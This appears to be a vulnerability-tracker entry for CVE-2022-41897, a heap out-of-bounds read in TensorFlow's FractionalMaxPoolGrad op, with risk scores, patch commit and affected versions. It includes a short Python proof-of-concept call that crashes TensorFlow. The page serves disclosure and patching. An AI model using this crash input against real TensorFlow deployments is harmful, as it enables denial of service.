CVE-2022-41897Medium· 4.8▾ Sunlit`FractionalMaxPoolGrad` Heap out of bounds read
▾ Sunlit zone — Low / medium · no exploitation signal
impact 26.4 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
If FractionMaxPoolGrad is given outsize inputs row_pooling_sequence and col_pooling_sequence, TensorFlow will crash.
import tensorflow as tf
tf.raw_ops.FractionMaxPoolGrad(
orig_input = [[[[1, 1, 1, 1, 1]]]],
orig_output = [[[[1, 1, 1]]]],
out_backprop = [[[[3], [3], [6]]]],
row_pooling_sequence = [-0x4000000, 1, 1],
col_pooling_sequence = [-0x4000000, 1, 1],
overlapping = False
)
We have patched the issue in GitHub commit d71090c3e5ca325bdf4b02eb236cfb3ee823e927.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
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This vulnerability has been reported by Vul AI.
tensorflow < 2.8.4tensorflow >= 2.9.0, < 2.9.3tensorflow >= 2.10.0, < 2.10.1tensorflow-cpu < 2.8.4tensorflow-gpu < 2.8.4tensorflow-cpu >= 2.9.0, < 2.9.3tensorflow-gpu >= 2.9.0, < 2.9.3tensorflow-cpu >= 2.10.0, < 2.10.1tensorflow-gpu >= 2.10.0, < 2.10.1Upgrade to a patched release:
tensorflow 2.8.4tensorflow 2.9.3tensorflow 2.10.1tensorflow-cpu 2.8.4tensorflow-gpu 2.8.4tensorflow-cpu 2.9.3tensorflow-gpu 2.9.3tensorflow-cpu 2.10.1tensorflow-gpu 2.10.1Connected by shared product, vendor, weakness, or advisory.
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